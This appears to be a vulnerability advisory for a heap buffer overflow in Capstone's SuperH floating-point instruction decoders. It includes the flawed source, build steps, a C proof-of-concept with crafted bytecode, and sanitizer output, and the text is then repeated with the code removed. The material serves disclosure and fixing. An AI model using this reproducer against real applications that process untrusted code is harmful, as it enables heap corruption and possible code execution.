Summary
Capstone's SuperH (SH) floating-point instruction decoders (opFADD, opFMUL, opFSUB, etc.) append decoded operands via set_reg() / set_reg_n() without checking the operand count against the fixed-size operands[] array. On a Capstone handle opened for SH2A or SH4A with FPU mode (CS_MODE_SHFPU) and detail mode enabled (CS_OPT_DETAIL), disassembling crafted bytecode via cs_disasm_iter() or cs_disasm() causes a 4-byte heap buffer overflow write past the end of a 176-byte sh_info allocation.
The demonstrated impact is heap corruption. Depending on heap layout, this is potentially exploitable for arbitrary code execution in applications that process untrusted machine code with Capstone.
Details
SH FPU instruction decoders call set_reg() to record decoded operands. set_reg() delegates to set_reg_n() using info->op.op_count as the array index, then increments the count unconditionally. Neither function validates the index against the fixed-size operands[] array:
arch/SH/SHDisassembler.c:34-46:
static void set_reg_n(sh_info *info, sh_reg reg, int pos,
enum direction rw, cs_detail *detail)
{
info->op.operands[pos].type = SH_OP_REG;
info->op.operands[pos].reg = reg;
regs_rw(detail, rw, reg);
}
static void set_reg(sh_info *info, sh_reg reg, enum direction rw,
cs_detail *detail)
{
set_reg_n(info, reg, info->op.op_count, rw, detail);
info->op.op_count++;
}
These are called from the opFRR macro, which expands to opFADD, opFMUL, opFSUB, opFDIV, etc.:
arch/SH/SHDisassembler.c:1270-1278:
#define opFRR(insn) \
static bool op##insn(uint16_t code, uint64_t address, MCInst *MI,\
cs_mode mode, sh_info *info, cs_detail *detail) \
{ \
int m = (code >> 4) & 0x0f; \
int n = (code >> 8) & 0x0f; \
MCInst_setOpcode(MI, SH_INS_##insn); \
set_reg(info, SH_REG_FR0 + m, read, detail); \
set_reg(info, SH_REG_FR0 + n, read, detail); \
return MCDisassembler_Success; \
}
When cs_disasm_iter() processes a crafted instruction stream containing repeated SH FPU opcodes (e.g. 0x8d8d), each decoded instruction appends operands without resetting op_count. The operand count exceeds the bounds of the operands[] array (part of the 176-byte sh_info heap allocation from SH_global_init), resulting in a heap buffer overflow write.
The sh_info structure is allocated once in SH_global_init() (arch/SH/SHModule.c:15) during cs_open() and reused across all cs_disasm_iter() calls. The op_count field is not reset between decoded instructions when the operand index exceeds the array bounds.
PoC
- Repository:
https://github.com/capstone-engine/capstone.git
- Version tested: Capstone 5.0.6 (
CS_API_MAJOR=5, CS_API_MINOR=0, CS_VERSION_EXTRA=6)
- Platform: Linux x86_64, built with ASan via OSS-Fuzz (
gcr.io/oss-fuzz/capstone-5_0_6-4_1_hum1)
Build a sanitizer-enabled static library with SH support:
cmake -S . -B build-sh-vuln \
-DCMAKE_BUILD_TYPE=Debug \
-DCAPSTONE_ARCHITECTURE_DEFAULT=OFF \
-DCAPSTONE_SH_SUPPORT=ON \
-DCAPSTONE_BUILD_CSTOOL=OFF \
-DCAPSTONE_BUILD_LEGACY_TESTS=OFF \
-DCAPSTONE_BUILD_SHARED_LIBS=OFF \
-DCAPSTONE_BUILD_STATIC_LIBS=ON \
-DENABLE_ASAN=ON
cmake --build build-sh-vuln --target capstone_static -j$(nproc)
Compile and run the submitted PoC:
cc -g -O0 -fsanitize=address,undefined -I include \
sh_heap_bof_poc.c build-sh-vuln/libcapstone.a \
-o sh_heap_bof_poc
./sh_heap_bof_poc
Minimal reproducer source (sh_heap_bof_poc.c)
#include <capstone/capstone.h>
#include <stdio.h>
#include <stdlib.h>
int main(void) {
static const uint8_t code[] = {
0x1e, 0xff, 0x15, 0x02, 0x03, 0x73, 0x7e, 0x77,
0x00, 0x8d, 0x66, 0x66, 0x66, 0x66, 0xa0, 0x99,
0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x8d,
0x71, 0x35, 0x8d, 0x8d, 0x49, 0x3e, 0xff, 0x00,
0x00, 0x00, 0x05, 0x90, 0x8d, 0x8d, 0x8d, 0x8d,
0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d,
0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d,
0x8d, 0x8d, 0x8d, 0x78, 0x8d, 0x8d, 0x8d, 0x8d,
0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x2f,
0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d, 0x8d,
0xb9, 0x4e
};
csh handle;
if (cs_open(CS_ARCH_SH, CS_MODE_SH2A | CS_MODE_SHFPU,
&handle) != CS_ERR_OK)
return 1;
cs_option(handle, CS_OPT_DETAIL, CS_OPT_ON);
cs_insn *insn = cs_malloc(handle);
const uint8_t *p = code;
size_t rem = sizeof(code);
uint64_t addr = 0;
while (rem > 0) {
if (!cs_disasm_iter(handle, &p, &rem, &addr, insn))
break;
}
cs_free(insn, 1);
cs_close(&handle);
return 0;
}
Observed output:
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7c8637ce00f0
at pc 0x565039754eb3 bp 0x7ffd4a4f61d0 sp 0x7ffd4a4f61c8
WRITE of size 4 at 0x7c8637ce00f0 thread T0
#0 0x565039754eb2 in set_reg_n /src/capstone/arch/SH/SHDisassembler.c:37:30
#1 0x565039754eb2 in set_reg /src/capstone/arch/SH/SHDisassembler.c:45:2
#2 0x565039754eb2 in opFADD /src/capstone/arch/SH/SHDisassembler.c:1280:1
#3 0x565039758ae9 in sh_disassemble /src/capstone/arch/SH/SHDisassembler.c:2167:10
#4 0x565039758ae9 in SH_getInstruction /src/capstone/arch/SH/SHDisassembler.c:2190:6
#5 0x565039521d2e in cs_disasm_iter /src/capstone/cs.c:1139:6
#6 0x56503951e8b8 in LLVMFuzzerTestOneInput suite/fuzz/fuzz_disasm.c:137:13
#7 0x5650393bbdfd in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*,
unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:619:13
0x7c8637ce00f0 is located 0 bytes after 176-byte region
[0x7c8637ce0040,0x7c8637ce00f0)
allocated by thread T0 here:
#0 0x565039489754 in malloc
/src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:67:3
#1 0x5650394e71fe in SH_global_init /src/capstone/arch/SH/SHModule.c:15:9
#2 0x5650394cdec8 in cs_open /src/capstone/cs.c:497:9
SUMMARY: AddressSanitizer: heap-buffer-overflow
/src/capstone/arch/SH/SHDisassembler.c:37:30 in set_reg_n
==1==ABORTING
Impact
An attacker who can cause an application to disassemble untrusted SH2A/SH4A bytecode via cs_disasm() or cs_disasm_iter() with detail mode enabled can corrupt the heap. The 4-byte write past the end of the 176-byte sh_info allocation can overwrite adjacent heap metadata or objects. Depending on heap layout, this is potentially exploitable for arbitrary code execution in applications that process untrusted machine code with Capstone (e.g., disassemblers, reverse engineering tools, binary analysis frameworks, malware sandboxes).
Credits
Luigino Camastra,Dimitrijs Trizna, Zee Sheng, Guido Vranken by Aisle Research
Summary
Capstone's SuperH (SH) floating-point instruction decoders (
opFADD,opFMUL,opFSUB, etc.) append decoded operands viaset_reg()/set_reg_n()without checking the operand count against the fixed-sizeoperands[]array. On a Capstone handle opened for SH2A or SH4A with FPU mode (CS_MODE_SHFPU) and detail mode enabled (CS_OPT_DETAIL), disassembling crafted bytecode viacs_disasm_iter()orcs_disasm()causes a 4-byte heap buffer overflow write past the end of a 176-bytesh_infoallocation.The demonstrated impact is heap corruption. Depending on heap layout, this is potentially exploitable for arbitrary code execution in applications that process untrusted machine code with Capstone.
Details
SH FPU instruction decoders call
set_reg()to record decoded operands.set_reg()delegates toset_reg_n()usinginfo->op.op_countas the array index, then increments the count unconditionally. Neither function validates the index against the fixed-sizeoperands[]array:arch/SH/SHDisassembler.c:34-46:These are called from the
opFRRmacro, which expands toopFADD,opFMUL,opFSUB,opFDIV, etc.:arch/SH/SHDisassembler.c:1270-1278:When
cs_disasm_iter()processes a crafted instruction stream containing repeated SH FPU opcodes (e.g.0x8d8d), each decoded instruction appends operands without resettingop_count. The operand count exceeds the bounds of theoperands[]array (part of the 176-bytesh_infoheap allocation fromSH_global_init), resulting in a heap buffer overflow write.The
sh_infostructure is allocated once inSH_global_init()(arch/SH/SHModule.c:15) duringcs_open()and reused across allcs_disasm_iter()calls. Theop_countfield is not reset between decoded instructions when the operand index exceeds the array bounds.PoC
https://github.com/capstone-engine/capstone.gitCS_API_MAJOR=5,CS_API_MINOR=0,CS_VERSION_EXTRA=6)gcr.io/oss-fuzz/capstone-5_0_6-4_1_hum1)Build a sanitizer-enabled static library with SH support:
Compile and run the submitted PoC:
Minimal reproducer source (
sh_heap_bof_poc.c)Observed output:
Impact
An attacker who can cause an application to disassemble untrusted SH2A/SH4A bytecode via
cs_disasm()orcs_disasm_iter()with detail mode enabled can corrupt the heap. The 4-byte write past the end of the 176-bytesh_infoallocation can overwrite adjacent heap metadata or objects. Depending on heap layout, this is potentially exploitable for arbitrary code execution in applications that process untrusted machine code with Capstone (e.g., disassemblers, reverse engineering tools, binary analysis frameworks, malware sandboxes).Credits